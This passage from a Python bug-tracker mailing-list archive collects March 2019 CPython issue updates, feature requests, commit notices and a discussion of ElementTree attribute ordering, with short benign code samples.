Message-ID: <1552754799.86.0.836416516123.issue36314@roundup.psfhosted.org>


Steven D'Aprano <steve+python at pearwood.info> added the comment:

Prakhar, for future reference, please don't submit unnecessary screenshots to report bugs. Screen shots are hostile to the blind or visually impaired, who may be reading this with a screen-reader, and they make it impossible for us to copy your code to run it.

In future, please copy and paste the sample code and exception, as text, not as a picture.

----------
nosy: +steven.daprano

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36314>
_______________________________________

From report at bugs.python.org  Sat Mar 16 13:20:24 2019
From: report at bugs.python.org (Vincent Michel)
Date: Sat, 16 Mar 2019 17:20:24 +0000
Subject: [issue31062] socket.makefile does not handle line buffering
In-Reply-To: <1501189905.94.0.421716043749.issue31062@psf.upfronthosting.co.za>
Message-ID: <1552756824.01.0.730404391195.issue31062@roundup.psfhosted.org>


Change by Vincent Michel <vxgmichel at gmail.com>:


----------
keywords: +patch
pull_requests: +12333
stage:  -> patch review

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue31062>
_______________________________________

From report at bugs.python.org  Sat Mar 16 13:21:51 2019
From: report at bugs.python.org (Vincent Michel)
Date: Sat, 16 Mar 2019 17:21:51 +0000
Subject: [issue31062] socket.makefile does not handle line buffering
In-Reply-To: <1501189905.94.0.421716043749.issue31062@psf.upfronthosting.co.za>
Message-ID: <1552756911.7.0.758007067076.issue31062@roundup.psfhosted.org>


Vincent Michel <vxgmichel at gmail.com> added the comment:

I ran into this issue too so I went ahead and created a pull request (https://github.com/python/cpython/pull/12370).

----------
nosy: +vxgmichel
versions: +Python 3.7, Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue31062>
_______________________________________

From report at bugs.python.org  Sat Mar 16 13:43:53 2019
From: report at bugs.python.org (Cheryl Sabella)
Date: Sat, 16 Mar 2019 17:43:53 +0000
Subject: [issue36315] Unable to install Python 3.7.2
In-Reply-To: <1552741064.95.0.392565036476.issue36315@roundup.psfhosted.org>
Message-ID: <1552758233.47.0.624342501665.issue36315@roundup.psfhosted.org>


Cheryl Sabella <cheryl.sabella at gmail.com> added the comment:

I believe support has been removed for Windows Vista.

----------
nosy: +cheryl.sabella

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36315>
_______________________________________

From report at bugs.python.org  Sat Mar 16 13:45:06 2019
From: report at bugs.python.org (Serhiy Storchaka)
Date: Sat, 16 Mar 2019 17:45:06 +0000
Subject: [issue36127] Argument Clinic: inline parsing code for functions with
 keyword parameters
In-Reply-To: <1551202236.03.0.123634318665.issue36127@roundup.psfhosted.org>
Message-ID: <1552758306.82.0.518727754099.issue36127@roundup.psfhosted.org>


Serhiy Storchaka <storchaka+cpython at gmail.com> added the comment:


New changeset 1b0393d5b7842dcd9e933117d2d5404d15e2ad00 by Serhiy Storchaka in branch 'master':
bpo-36127: Fix compiler warning in _PyArg_UnpackKeywords(). (GH-12353)
https://github.com/python/cpython/commit/1b0393d5b7842dcd9e933117d2d5404d15e2ad00


----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36127>
_______________________________________

From report at bugs.python.org  Sat Mar 16 14:28:24 2019
From: report at bugs.python.org (Benjamin Peterson)
Date: Sat, 16 Mar 2019 18:28:24 +0000
Subject: [issue36316] Provide SHA256 checksums for installers
In-Reply-To: <1552742314.29.0.141411546452.issue36316@roundup.psfhosted.org>
Message-ID: <1552760904.45.0.330996760134.issue36316@roundup.psfhosted.org>


Benjamin Peterson <benjamin at python.org> added the comment:

MD5 isn't a security measure. It's provided for a quick check of integrity.

----------
resolution:  -> wont fix
stage:  -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36316>
_______________________________________

From report at bugs.python.org  Sat Mar 16 14:35:29 2019
From: report at bugs.python.org (=?utf-8?b?R8Opcnk=?=)
Date: Sat, 16 Mar 2019 18:35:29 +0000
Subject: [issue36318] Adding support for setting the "disabled" attribute of
 loggers from logging.config.dictConfig
Message-ID: <1552761329.43.0.180278602772.issue36318@roundup.psfhosted.org>


New submission from G?ry <gery.ogam at gmail.com>:

In the logging Python library, one can completely disable logging (for all levels) for a particular logger either by setting its `disabled` attribute to `True`, or by adding to it a `lambda record: False` filter, or by adding to it a `logging.NullHandler()` handler (to avoid the `logging.lastResort` handler) and setting its `propagate` attribute to `False` (to avoid log record propagation to its parent loggers):


import logging

# 1st solution
logging.getLogger("foo").disabled = True

# 2nd solution
logging.getLogger("foo").addFilter(lambda record: False)

# 3rd solution
logging.getLogger("foo").addHandler(logging.NullHandler())
logging.getLogger("foo").propagate = False


One can obtain the same logging configuration for the 2nd and 3rd solutions with the `logging.config.dictConfig` function:


import logging.config

# 2nd solution
logging.config.dictConfig({
    "version": 1,
    "filters": {
        "all": {
            "()": lambda: (lambda record: False)
        }
    },
    "loggers": {
        "foo": {
            "filters": ["all"]
        }
    }
})

# 3rd solution
logging.config.dictConfig({
    "version": 1,
    "handlers": {
        "null": {
            "class": "logging.NullHandler"
        }
    },
    "loggers": {
        "foo": {
            "handlers": ["null"],
            "propagate": False
        }
    }
})


However it is currently not possible for the 1st solution:


import logging.config

# 1st solution
logging.config.dictConfig({
    "version": 1,
    "loggers": {
        "foo": {
            "disabled": True
        }
    }
})

What do you think about adding this feature? I think it might be very convenient and improve consistency.

----------
components: Library (Lib)
messages: 338092
nosy: maggyero, vinay.sajip
priority: normal
severity: normal
status: open
title: Adding support for setting the "disabled" attribute of loggers from logging.config.dictConfig
type: enhancement
versions: Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36318>
_______________________________________

From report at bugs.python.org  Sat Mar 16 14:36:04 2019
From: report at bugs.python.org (=?utf-8?b?R8Opcnk=?=)
Date: Sat, 16 Mar 2019 18:36:04 +0000
Subject: [issue36318] Adding support for setting the "disabled" attribute of
 loggers from logging.config.dictConfig
In-Reply-To: <1552761329.43.0.180278602772.issue36318@roundup.psfhosted.org>
Message-ID: <1552761364.37.0.771017446449.issue36318@roundup.psfhosted.org>


Change by G?ry <gery.ogam at gmail.com>:


----------
keywords: +patch
pull_requests: +12334
stage:  -> patch review

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36318>
_______________________________________

From report at bugs.python.org  Sat Mar 16 14:43:24 2019
From: report at bugs.python.org (=?utf-8?b?0JDQvdC00YDQtdC5INCa0LDQt9Cw0L3RhtC10LI=?=)
Date: Sat, 16 Mar 2019 18:43:24 +0000
Subject: [issue36319] Erro 0xC0000374 on windows 10
Message-ID: <1552761804.37.0.212876301752.issue36319@roundup.psfhosted.org>


New submission from ?????? ???????? <heckad at yandex.ru>:

On windows 10 python falls after evaluate this code
```
import time
import locale

locale.setlocale(locale.LC_ALL, 'Russian_Russia.utf8')
time.localtime(1552753806.2363703)
```

What tools would you recommend for getting more information?

----------
components: Windows
files: ??????.PNG
messages: 338093
nosy: paul.moore, steve.dower, tim.golden, zach.ware, ?????? ????????
priority: normal
severity: normal
status: open
title: Erro 0xC0000374 on windows 10
type: crash
versions: Python 3.7
Added file: https://bugs.python.org/file48212/??????.PNG

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36319>
_______________________________________

From report at bugs.python.org  Sat Mar 16 15:55:04 2019
From: report at bugs.python.org (mental)
Date: Sat, 16 Mar 2019 19:55:04 +0000
Subject: [issue36298] Lib/pyclbr.py crashes when the package spec cannot be
 determined by importlib
In-Reply-To: <1552628606.85.0.83377686134.issue36298@roundup.psfhosted.org>
Message-ID: <1552766104.46.0.221574714542.issue36298@roundup.psfhosted.org>


mental <m3nta1 at yahoo.com> added the comment:

Thanks :) I've submitted a review for the patch.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36298>
_______________________________________

From report at bugs.python.org  Sat Mar 16 16:10:01 2019
From: report at bugs.python.org (Raymond Hettinger)
Date: Sat, 16 Mar 2019 20:10:01 +0000
Subject: [issue36320] typing.NamedTuple to switch from OrderedDict to regular
 dict
Message-ID: <1552767001.87.0.278808375525.issue36320@roundup.psfhosted.org>


New submission from Raymond Hettinger <raymond.hettinger at gmail.com>:

Suggestions:
* Deprecate _field_types in favor of __annotations__.
* Convert __annotations__ from OrderedDict to a regular dict.

This will make the API cleaner. The first one will also remove a difference between NamedTuple and namedtuple().  The second is consistent with the decision to convert _asdict() to a regular dictionary since OrderedDict is no longer necessary or desirable. The second will also make the signature of __annotations__ match that from other classes.

----------
assignee: levkivskyi
components: Library (Lib)
messages: 338095
nosy: levkivskyi, rhettinger
priority: normal
severity: normal
status: open
title: typing.NamedTuple to switch from OrderedDict to regular dict
versions: Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36320>
_______________________________________

From report at bugs.python.org  Sat Mar 16 16:10:14 2019
From: report at bugs.python.org (Raymond Hettinger)
Date: Sat, 16 Mar 2019 20:10:14 +0000
Subject: [issue36320] typing.NamedTuple to switch from OrderedDict to regular
 dict
In-Reply-To: <1552767001.87.0.278808375525.issue36320@roundup.psfhosted.org>
Message-ID: <1552767014.06.0.119907245803.issue36320@roundup.psfhosted.org>


Change by Raymond Hettinger <raymond.hettinger at gmail.com>:


----------
type:  -> behavior

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36320>
_______________________________________

From report at bugs.python.org  Sat Mar 16 16:21:03 2019
From: report at bugs.python.org (Raymond Hettinger)
Date: Sat, 16 Mar 2019 20:21:03 +0000
Subject: [issue36321] Fix misspelled attribute name in namedtuple()
Message-ID: <1552767663.81.0.27756638002.issue36321@roundup.psfhosted.org>


New submission from Raymond Hettinger <raymond.hettinger at gmail.com>:

The attribute name, '_fields_defaults' was misspelled and should have been ''_field_defaults'.  The namedtuple documentation uses both spellings.  The typing.NamedTuple class consistently uses the latter spelling.  The intent was the both would be spelled the same way.

    >>> from typing import NamedTuple
    >>> class Employee(NamedTuple):
        name: str
        id: int = 3
    >>> Employee._field_defaults
    {'id': 3}

    >>> from collections import namedtuple
    >>> Employee = namedtuple('Employee', ['name', 'id'], defaults=[3])
    >>> Employee._fields_defaults
    {'id': 3}

Since 3.7 API is already released, it may be reasonable to provide both spellings for namedtuple().

----------
assignee: rhettinger
components: Library (Lib)
messages: 338096
nosy: rhettinger
priority: normal
severity: normal
status: open
title: Fix misspelled attribute name in namedtuple()
type: behavior
versions: Python 3.7, Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36321>
_______________________________________

From report at bugs.python.org  Sat Mar 16 16:25:09 2019
From: report at bugs.python.org (Marco Rougeth)
Date: Sat, 16 Mar 2019 20:25:09 +0000
Subject: [issue36322] Argument typo in dam.ndbm.open
Message-ID: <1552767909.74.0.734583361576.issue36322@roundup.psfhosted.org>


New submission from Marco Rougeth <marco at rougeth.com>:

Reading the documentation for `dbm.gnu.open` I noticed that there were a typo in the `flags` argument, it was documented as `flag`, in plural form.

The same typo was present for `dbm.ndbm.open`, but in this case, `flag` makes more sense than `flags`, since the function accepts only one option as a flag.

I opened a PR [1] fixing both typos, but I?d like to discuss if makes sense to rename the argument on `dbm.ndbm.open` from `flags` to `flag`. As point out by  @remilapeyre, this change would be backwards compatible, since we cannot use the function with keyword arguments.

>>> dbm.ndbm.open(filename=?foo?, flags=?r?, mode=438)
Traceback (most recent call last):
  File ?<stdin>?, line 1, in <module>
TypeError: open() takes no keyword arguments

What do you folks think about it?

1 - https://github.com/python/cpython/pull/12095

----------
messages: 338097
nosy: rougeth
priority: normal
severity: normal
status: open
title: Argument typo in dam.ndbm.open
type: enhancement

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36322>
_______________________________________

From report at bugs.python.org  Sat Mar 16 16:27:24 2019
From: report at bugs.python.org (=?utf-8?q?R=C3=A9mi_Lapeyre?=)
Date: Sat, 16 Mar 2019 20:27:24 +0000
Subject: [issue36322] Argument typo in dam.ndbm.open
In-Reply-To: <1552767909.74.0.734583361576.issue36322@roundup.psfhosted.org>
Message-ID: <1552768044.71.0.278681327067.issue36322@roundup.psfhosted.org>


Change by R?mi Lapeyre <remi.lapeyre at henki.fr>:


----------
nosy: +remi.lapeyre

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36322>
_______________________________________

From report at bugs.python.org  Sat Mar 16 16:43:20 2019
From: report at bugs.python.org (Raymond Hettinger)
Date: Sat, 16 Mar 2019 20:43:20 +0000
Subject: [issue36321] Fix misspelled attribute name in namedtuple()
In-Reply-To: <1552767663.81.0.27756638002.issue36321@roundup.psfhosted.org>
Message-ID: <1552769000.64.0.579232847385.issue36321@roundup.psfhosted.org>


Change by Raymond Hettinger <raymond.hettinger at gmail.com>:


----------
keywords: +patch
pull_requests: +12335
stage:  -> patch review

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36321>
_______________________________________

From report at bugs.python.org  Sat Mar 16 16:49:19 2019
From: report at bugs.python.org (Raymond Hettinger)
Date: Sat, 16 Mar 2019 20:49:19 +0000
Subject: [issue34160] ElementTree not preserving attribute order
In-Reply-To: <1532047327.92.0.56676864532.issue34160@psf.upfronthosting.co.za>
Message-ID: <1552769359.64.0.577856613812.issue34160@roundup.psfhosted.org>


Raymond Hettinger <raymond.hettinger at gmail.com> added the comment:

FWIW, this issue arose from an end-user problem. She had a hard requirement to show a security clearance level as the first attribute.  We did find a work around but it was hack.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue34160>
_______________________________________

From report at bugs.python.org  Sat Mar 16 16:54:02 2019
From: report at bugs.python.org (Senthil Kumaran)
Date: Sat, 16 Mar 2019 20:54:02 +0000
Subject: [issue36276] Python urllib CRLF injection vulnerability
In-Reply-To: <1552440411.97.0.7095697352.issue36276@roundup.psfhosted.org>
Message-ID: <1552769642.24.0.213781598509.issue36276@roundup.psfhosted.org>


Senthil Kumaran <senthil at uthcode.com> added the comment:

Marking this as duplicate of issue30458.

Thanks for the discussion.

----------
resolution:  -> duplicate
stage:  -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36276>
_______________________________________

From report at bugs.python.org  Sat Mar 16 17:12:51 2019
From: report at bugs.python.org (Ned Batchelder)
Date: Sat, 16 Mar 2019 21:12:51 +0000
Subject: [issue34160] ElementTree not preserving attribute order
In-Reply-To: <1532047327.92.0.56676864532.issue34160@psf.upfronthosting.co.za>
Message-ID: <1552770771.42.0.119024698688.issue34160@roundup.psfhosted.org>


Ned Batchelder <ned at nedbatchelder.com> added the comment:

I'm a bit mystified why people are still opposed to providing sorting control, even after people are resorting to "hack work-arounds."  The (two) pull requests that provide the control are simple, easy to understand, and easy to test.

Raymond, it sounds like your end-user didn't agree that "sorting is no longer necessary or desirable."

How many people have to comment here on the difficulties they are having before we do the simple thing that will help them?

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue34160>
_______________________________________

From report at bugs.python.org  Sat Mar 16 17:18:50 2019
From: report at bugs.python.org (Stefan Behnel)
Date: Sat, 16 Mar 2019 21:18:50 +0000
Subject: [issue34160] ElementTree not preserving attribute order
In-Reply-To: <1532047327.92.0.56676864532.issue34160@psf.upfronthosting.co.za>
Message-ID: <1552771130.51.0.755445486426.issue34160@roundup.psfhosted.org>


Stefan Behnel <stefan_ml at behnel.de> added the comment:

Ned, would it solve your problem to write a helper function that walks the tree and sorts the attrib dicts? That would also work in all existing CPython versions (because they already sort attributes anyway), for both ElementTree and lxml, and you wouldn't have to pass a new option into the serialiser conditionally based on the running Python version.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue34160>
_______________________________________

From report at bugs.python.org  Sat Mar 16 17:27:17 2019
From: report at bugs.python.org (Stefan Behnel)
Date: Sat, 16 Mar 2019 21:27:17 +0000
Subject: [issue34160] ElementTree not preserving attribute order
In-Reply-To: <1532047327.92.0.56676864532.issue34160@psf.upfronthosting.co.za>
Message-ID: <1552771637.82.0.494797966066.issue34160@roundup.psfhosted.org>


Stefan Behnel <stefan_ml at behnel.de> added the comment:

Something like this:

def sort_attributes(root):
    for el in root.iter():
        attrib = el.attrib
        if len(attrib) > 1:
            attribs = sorted(attrib.items())
            attrib.clear()
            attrib.update(attribs)

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue34160>
_______________________________________

From report at bugs.python.org  Sat Mar 16 17:36:22 2019
From: report at bugs.python.org (Ned Batchelder)
Date: Sat, 16 Mar 2019 21:36:22 +0000
Subject: [issue34160] ElementTree not preserving attribute order
In-Reply-To: <1532047327.92.0.56676864532.issue34160@psf.upfronthosting.co.za>
Message-ID: <1552772182.21.0.185724322428.issue34160@roundup.psfhosted.org>


Ned Batchelder <ned at nedbatchelder.com> added the comment:

Thanks for the suggestion.  My problem has already been fixed with my own hack workaround.  Your idea is a good one to leave here so that other frustrated users will have code to copy for their hack workaround.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue34160>
_______________________________________

From report at bugs.python.org  Sat Mar 16 17:40:12 2019
From: report at bugs.python.org (Stefan Behnel)
Date: Sat, 16 Mar 2019 21:40:12 +0000
Subject: [issue34160] ElementTree not preserving attribute order
In-Reply-To: <1532047327.92.0.56676864532.issue34160@psf.upfronthosting.co.za>
Message-ID: <1552772412.16.0.122230145358.issue34160@roundup.psfhosted.org>


Stefan Behnel <stefan_ml at behnel.de> added the comment:

:) The coolest thing about it is: it's not a hack at all. It's simply making use of the new feature in a suitable way.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue34160>
_______________________________________

From report at bugs.python.org  Sat Mar 16 18:28:53 2019
From: report at bugs.python.org (Pablo Galindo Salgado)
Date: Sat, 16 Mar 2019 22:28:53 +0000
Subject: [issue35715] ProcessPool workers hold onto return value of last task
 in memory
In-Reply-To: <1547195781.25.0.0195934881381.issue35715@roundup.psfhosted.org>
Message-ID: <1552775333.87.0.835602700857.issue35715@roundup.psfhosted.org>


Pablo Galindo Salgado <pablogsal at gmail.com> added the comment:


New changeset 962bdeab191ee64459caa199209331005797ea7a by Pablo Galindo (Dave Chevell) in branch 'master':
bpo-35715: Liberate return value of _process_worker (GH-11514)
https://github.com/python/cpython/commit/962bdeab191ee64459caa199209331005797ea7a


----------
nosy: +pablogsal

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35715>
_______________________________________

From report at bugs.python.org  Sat Mar 16 18:29:06 2019
From: report at bugs.python.org (Pablo Galindo Salgado)
Date: Sat, 16 Mar 2019 22:29:06 +0000
Subject: [issue35715] ProcessPool workers hold onto return value of last task
 in memory
In-Reply-To: <1547195781.25.0.0195934881381.issue35715@roundup.psfhosted.org>
Message-ID: <1552775346.9.0.449123111812.issue35715@roundup.psfhosted.org>


Change by Pablo Galindo Salgado <pablogsal at gmail.com>:


----------
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35715>
_______________________________________

From report at bugs.python.org  Sat Mar 16 18:31:41 2019
From: report at bugs.python.org (Marco Rougeth)
Date: Sat, 16 Mar 2019 22:31:41 +0000
Subject: [issue36322] Argument typo in dbm.ndbm.open
In-Reply-To: <1552767909.74.0.734583361576.issue36322@roundup.psfhosted.org>
Message-ID: <1552775501.46.0.25471393479.issue36322@roundup.psfhosted.org>


Change by Marco Rougeth <marco at rougeth.com>:


----------
title: Argument typo in dam.ndbm.open -> Argument typo in dbm.ndbm.open

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36322>
_______________________________________

From report at bugs.python.org  Sat Mar 16 18:34:26 2019
From: report at bugs.python.org (Pablo Galindo Salgado)
Date: Sat, 16 Mar 2019 22:34:26 +0000
Subject: [issue35493] multiprocessing.Pool._worker_handler(): use SIGCHLD to
 be notified on worker exit
In-Reply-To: <1544786874.12.0.788709270274.issue35493@psf.upfronthosting.co.za>
Message-ID: <1552775666.92.0.272681539828.issue35493@roundup.psfhosted.org>


Pablo Galindo Salgado <pablogsal at gmail.com> added the comment:


New changeset 7c994549dcffd0d9d3bb37475e6374f356e7240e by Pablo Galindo in branch 'master':
bpo-35493: Use Process.sentinel instead of sleeping for polling worker status in multiprocessing.Pool (#11488)
https://github.com/python/cpython/commit/7c994549dcffd0d9d3bb37475e6374f356e7240e


----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35493>
_______________________________________

From report at bugs.python.org  Sat Mar 16 18:36:14 2019
From: report at bugs.python.org (Pablo Galindo Salgado)
Date: Sat, 16 Mar 2019 22:36:14 +0000
Subject: [issue35493] multiprocessing.Pool._worker_handler(): use SIGCHLD to
 be notified on worker exit
In-Reply-To: <1544786874.12.0.788709270274.issue35493@psf.upfronthosting.co.za>
Message-ID: <1552775774.6.0.162787138095.issue35493@roundup.psfhosted.org>


Change by Pablo Galindo Salgado <pablogsal at gmail.com>:


----------
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35493>
_______________________________________

From report at bugs.python.org  Sat Mar 16 18:46:24 2019
From: report at bugs.python.org (Raymond Hettinger)
Date: Sat, 16 Mar 2019 22:46:24 +0000
Subject: [issue34160] ElementTree not preserving attribute order
In-Reply-To: <1532047327.92.0.56676864532.issue34160@psf.upfronthosting.co.za>
Message-ID: <1552776384.81.0.303285437261.issue34160@roundup.psfhosted.org>


Raymond Hettinger <raymond.hettinger at gmail.com> added the comment:

> Raymond, it sounds like your end-user didn't agree that
> "sorting is no longer necessary or desirable."

Sorry for being unclear.  The user needed to *overcome* the sorting behavior so that they could produce an ordering of their own choosing.  The problem then became that we had to work out a way to defeat the sorting to allow the requested attribute ordering to be preserved.

Roughly:

   casefile = Element('casefile', clearance="confidential",
              access="internal", valid_through="31 Mar 2022")

The desired result is that the attribute order be preserved.  By removing the sort, a user can specify an order they want and have that specification honored.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue34160>
_______________________________________

From report at bugs.python.org  Sat Mar 16 18:54:05 2019
From: report at bugs.python.org (Larry Hastings)
Date: Sat, 16 Mar 2019 22:54:05 +0000
Subject: [issue35647] Cookie path check returns incorrect results
In-Reply-To: <1546502396.67.0.243403156352.issue35647@roundup.psfhosted.org>
Message-ID: <1552776845.53.0.438136970515.issue35647@roundup.psfhosted.org>


Larry Hastings <larry at hastings.org> added the comment:


New changeset e260f092cd0d8975c777e73ca6fb549d59b5d452 by larryhastings (Xtreak) in branch '3.4':
bpo-35647: Fix path check in cookiejar (#11436) (#12278)
https://github.com/python/cpython/commit/e260f092cd0d8975c777e73ca6fb549d59b5d452


----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35647>
_______________________________________

From report at bugs.python.org  Sat Mar 16 18:56:36 2019
From: report at bugs.python.org (Larry Hastings)
Date: Sat, 16 Mar 2019 22:56:36 +0000
Subject: [issue35121] Cookie domain check returns incorrect results
In-Reply-To: <1540968768.96.0.788709270274.issue35121@psf.upfronthosting.co.za>
Message-ID: <1552776996.51.0.810528781866.issue35121@roundup.psfhosted.org>


Larry Hastings <larry at hastings.org> added the comment:


New changeset 42ad4101d3ba7ca3c371dadf0f8880764c9f15fb by larryhastings (Xtreak) in branch '3.4':
[3.4] bpo-35121: prefix dot in domain for proper subdomain validation (GH-10258) (#12279)
https://github.com/python/cpython/commit/42ad4101d3ba7ca3c371dadf0f8880764c9f15fb


----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35121>
_______________________________________

From report at bugs.python.org  Sat Mar 16 19:29:35 2019
From: report at bugs.python.org (Cheryl Sabella)
Date: Sat, 16 Mar 2019 23:29:35 +0000
Subject: [issue23216] IDLE grep/find/replace source code needs docstrings
In-Reply-To: <1420881306.22.0.52075806524.issue23216@psf.upfronthosting.co.za>
Message-ID: <1552778975.38.0.29259419728.issue23216@roundup.psfhosted.org>


Cheryl Sabella <cheryl.sabella at gmail.com> added the comment:


New changeset 0bb5e75cf8bc9b197ffb91cba6f30543ed502708 by Cheryl Sabella in branch 'master':
bpo-23216: IDLE: Add docstrings to search modules (GH-12141)
https://github.com/python/cpython/commit/0bb5e75cf8bc9b197ffb91cba6f30543ed502708


----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue23216>
_______________________________________

From report at bugs.python.org  Sat Mar 16 19:29:45 2019
From: report at bugs.python.org (miss-islington)
Date: Sat, 16 Mar 2019 23:29:45 +0000
Subject: [issue23216] IDLE grep/find/replace source code needs docstrings
In-Reply-To: <1420881306.22.0.52075806524.issue23216@psf.upfronthosting.co.za>
Message-ID: <1552778985.52.0.262441056394.issue23216@roundup.psfhosted.org>


Change by miss-islington <mariatta.wijaya+miss-islington at gmail.com>:


----------
pull_requests: +12336
stage: needs patch -> patch review

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue23216>
_______________________________________

From report at bugs.python.org  Sat Mar 16 19:42:15 2019
From: report at bugs.python.org (Larry Hastings)
Date: Sat, 16 Mar 2019 23:42:15 +0000
Subject: [issue35647] Cookie path check returns incorrect results
In-Reply-To: <1546502396.67.0.243403156352.issue35647@roundup.psfhosted.org>
Message-ID: <1552779735.32.0.548751019558.issue35647@roundup.psfhosted.org>


Larry Hastings <larry at hastings.org> added the comment:


New changeset 382981b25092b5e9285f1e4894142af1e8f2ca86 by larryhastings (Xtreak) in branch '3.5':
bpo-35647: Fix path check in cookiejar (#11436) (#12277)
https://github.com/python/cpython/commit/382981b25092b5e9285f1e4894142af1e8f2ca86


----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35647>
_______________________________________

From report at bugs.python.org  Sat Mar 16 19:44:58 2019
From: report at bugs.python.org (Raymond Hettinger)
Date: Sat, 16 Mar 2019 23:44:58 +0000
Subject: [issue34160] ElementTree not preserving attribute order
In-Reply-To: <1532047327.92.0.56676864532.issue34160@psf.upfronthosting.co.za>
Message-ID: <1552779898.47.0.0682368372766.issue34160@roundup.psfhosted.org>


Raymond Hettinger <raymond.hettinger at gmail.com> added the comment:


New changeset 06e1e688228013f411aca6309562ef80df6ce5d3 by Raymond Hettinger (Diego Rojas) in branch 'master':
bpo-34160: Update news entry for XML order attributes (#12335)
https://github.com/python/cpython/commit/06e1e688228013f411aca6309562ef80df6ce5d3


----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue34160>
_______________________________________

From report at bugs.python.org  Sat Mar 16 19:47:30 2019
From: report at bugs.python.org (miss-islington)
Date: Sat, 16 Mar 2019 23:47:30 +0000
Subject: [issue23216] IDLE grep/find/replace source code needs docstrings
In-Reply-To: <1420881306.22.0.52075806524.issue23216@psf.upfronthosting.co.za>
Message-ID: <1552780050.6.0.886399457716.issue23216@roundup.psfhosted.org>


miss-islington <mariatta.wijaya+miss-islington at gmail.com> added the comment:


New changeset b34f1aa81433d60aee7bd744352b347dd650ca84 by Miss Islington (bot) in branch '3.7':
bpo-23216: IDLE: Add docstrings to search modules (GH-12141)
https://github.com/python/cpython/commit/b34f1aa81433d60aee7bd744352b347dd650ca84


----------
nosy: +miss-islington

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue23216>
_______________________________________

From report at bugs.python.org  Sat Mar 16 19:54:36 2019
From: report at bugs.python.org (Cheryl Sabella)
Date: Sat, 16 Mar 2019 23:54:36 +0000
Subject: [issue23216] IDLE grep/find/replace source code needs docstrings
In-Reply-To: <1420881306.22.0.52075806524.issue23216@psf.upfronthosting.co.za>
Message-ID: <1552780476.52.0.624066642681.issue23216@roundup.psfhosted.org>


Change by Cheryl Sabella <cheryl.sabella at gmail.com>:


----------
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue23216>
_______________________________________

From report at bugs.python.org  Sat Mar 16 20:03:41 2019
From: report at bugs.python.org (Larry Hastings)
Date: Sun, 17 Mar 2019 00:03:41 +0000
Subject: [issue35121] Cookie domain check returns incorrect results
In-Reply-To: <1540968768.96.0.788709270274.issue35121@psf.upfronthosting.co.za>
Message-ID: <1552781021.97.0.846276902388.issue35121@roundup.psfhosted.org>


Larry Hastings <larry at hastings.org> added the comment:


New changeset 4749f1b69000259e23b4cc6f63c542a9bdc62f1b by larryhastings (Xtreak) in branch '3.5':
[3.5] bpo-35121: prefix dot in domain for proper subdomain validation (GH-10258) (#12281)
https://github.com/python/cpython/commit/4749f1b69000259e23b4cc6f63c542a9bdc62f1b


----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35121>
_______________________________________

From report at bugs.python.org  Sat Mar 16 22:48:55 2019
From: report at bugs.python.org (Terry J. Reedy)
Date: Sun, 17 Mar 2019 02:48:55 +0000
Subject: [issue36323] IDLE: always display full grep path
Message-ID: <1552790935.7.0.135900073162.issue36323@roundup.psfhosted.org>


New submission from Terry J. Reedy <tjreedy at udel.edu>:

The second line of the Find in Files dialog is
  In files:  [____________________________________]
When this is opened in the startup directory, Shell or an untitled editor, the entry starts as '*.py'.  When this is opened in an titled editor file, the initial entry is the full path.  A full path is much more useful and should always be given.

----------
assignee: terry.reedy
components: IDLE
messages: 338115
nosy: terry.reedy
priority: normal
severity: normal
stage: test needed
status: open
title: IDLE: always display full grep path
type: behavior
versions: Python 3.7, Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36323>
_______________________________________

From report at bugs.python.org  Sun Mar 17 00:30:02 2019
From: report at bugs.python.org (Nick Coghlan)
Date: Sun, 17 Mar 2019 04:30:02 +0000
